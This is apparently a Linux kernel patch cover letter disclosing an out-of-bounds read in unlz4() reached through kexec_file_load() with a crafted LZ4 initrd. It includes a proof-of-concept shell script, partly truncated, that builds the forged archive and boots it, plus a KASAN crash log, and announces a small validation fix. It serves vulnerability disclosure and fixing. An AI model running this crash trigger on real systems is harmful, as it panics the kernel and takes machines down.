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The bug is reachable by a root user through kexec_file_load() with a crafted external initrd. We've tested it, and it should not affect any other functionality. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: When fill is NULL, unlz4() reads a 32-bit chunk length, advances the input pointer, and subtracts four bytes from the remaining input size. It then passes the unvalidated chunk length to LZ4_decompress_safe(). A forged length larger than the remaining archive makes the decoder read past the mapped initrd while parsing the compressed block. The in-memory path is used while unpacking an external initrd during boot. The PoC creates a valid LZ4 legacy archive header followed by a forged chunk length and a small payload, loads it with kexec_file_load(), and executes the second kernel. The async initramfs unpack then crashes in LZ4_decompress_safe(). Reproducer: chmod +x poc.sh ./poc.sh /root/bzImage We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.sh------ #!/bin/sh set -eu if [ "$(id -u)" -ne 0 ]; then echo "run as root" >&2 exit 1 fi KERNEL_IMAGE="${1:-/root/bzImage}" BAD_INITRD="${2:-/root/bad_unlz4.lz4}" if [ ! -r "$KERNEL_IMAGE" ]; then echo "kernel image not found: $KERNEL_IMAGE" >&2 exit 1 fi python3 - "$BAD_INITRD" <<'PY' import struct import sys path = sys.argv[1] magic = 0x184C2102 chunk = 0x07FFF000 payload = b"\xF0" + (b"\xFF" * 4096) with open(path, "wb") as f: f.write(struct.pack("/dev/null 2>&1 || true /usr/sbin/kexec -s -l "$KERNEL_IMAGE" --initrd="$BAD_INITRD" --command-line="$CMDLINE" sync /usr/sbin/kexec -e ------END poc.sh-------- ----BEGIN crash log---- [ 4.234226][ T46] Trying to unpack rootfs image as initramfs... [ 4.252106][ T46] BUG: unable to handle page fault for address: ffffed1028000000 [ 4.252496][ T46] #PF: supervisor read access in kernel mode [ 4.252496][ T46] #PF: error_code(0x0000) - not-present page [ 4.252496][ T46] PGD 13ffec067 P4D 13ffec067 PUD 13ffeb067 PMD 0 [ 4.252496][ T46] Oops: Oops: 0000 [#1] SMP KASAN NOPTI [ 4.252496][ T46] CPU: 2 UID: 0 PID: 46 Comm: kworker/u16:1 Not tainted 6.12.95 #4 53deed68f5e8c87eac9412ec2ca16e6c37d9fe62 [ 4.252496][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 4.252496][ T46] Workqueue: async async_run_entry_fn [ 4.252496][ T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0 [ 4.252496][ T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2 [ 4.252496][ T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246 [ 4.252496][ T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019 [ 4.252496][ T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001 [ 4.252496][ T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000 [ 4.252496][ T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f [ 4.252496][ T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0 [ 4.252496][ T46] FS: 0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000 [ 4.252496][ T46] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 4.252496][ T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0 [ 4.252496][ T46] PKRU: 55555554 [ 4.252496][ T46] Call Trace: [ 4.252496][ T46] [ 4.252496][ T46] ? unlz4+0x382/0x660 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] ? vmalloc_noprof+0xb4/0x100 [ 4.252496][ T46] unlz4+0x23d/0x660 [ 4.252496][ T46] ? __pfx_flush_buffer+0x10/0x10 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] unpack_to_rootfs+0x23c/0x730 [ 4.252496][ T46] ? __pfx_error+0x10/0x10 [ 4.252496][ T46] ? __pfx_unpack_to_rootfs+0x10/0x10 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] ? __pfx__printk+0x10/0x10 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] ? lock_release+0x687/0xc90 [ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10 [ 4.252496][ T46] ? do_populate_rootfs+0x34b/0x6c0 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] do_populate_rootfs+0x34b/0x6c0 [ 4.252496][ T46] ? ktime_get+0x32/0x150 [ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] ? trace_hardirqs_on+0x5b/0x110 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10 [ 4.252496][ T46] async_run_entry_fn+0x9f/0x510 [ 4.252496][ T46] process_one_work+0x80f/0x1680 [ 4.252496][ T46] ? worker_thread+0x275/0x1140 [ 4.252496][ T46] ? __pfx_process_one_work+0x10/0x10 [ 4.252496][ T46] ? lock_acquired+0x374/0xb30 [ 4.252496][ T46] ? lock_is_held_type+0x9a/0x110 [ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5 [ 4.252496][ T46] worker_thread+0x618/0x1140 [ 4.252496][ T46] ? __pfx_worker_thread+0x10/0x10 [ 4.252496][ T46] kthread+0x2bd/0x3a0 [ 4.252496][ T46] ? __pfx_kthread+0x10/0x10 [ 4.252496][ T46] ? __pfx_kthread+0x10/0x10 [ 4.252496][ T46] ret_from_fork+0x31/0x70 [ 4.252496][ T46] ? __pfx_kthread+0x10/0x10 [ 4.252496][ T46] ret_from_fork_asm+0x1a/0x30 [ 4.252496][ T46] [ 4.252496][ T46] Modules linked in: [ 4.252496][ T46] CR2: ffffed1028000000 [ 4.252496][ T46] ---[ end trace 0000000000000000 ]--- [ 4.252496][ T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0 [ 4.252496][ T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2 [ 4.252496][ T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246 [ 4.252496][ T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019 [ 4.252496][ T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001 [ 4.252496][ T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000 [ 4.252496][ T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f [ 4.252496][ T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0 [ 4.252496][ T46] FS: 0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000 [ 4.252496][ T46] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 4.252496][ T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0 [ 4.252496][ T46] PKRU: 55555554 [ 4.252496][ T46] Kernel panic - not syncing: Fatal exception -----END crash log----- Best regards, Zhiling Zou Zhiling Zou (1): lib: validate in-memory LZ4 chunk length lib/decompress_unlz4.c | 4 ++++ 1 file changed, 4 insertions(+) -- 2.43.0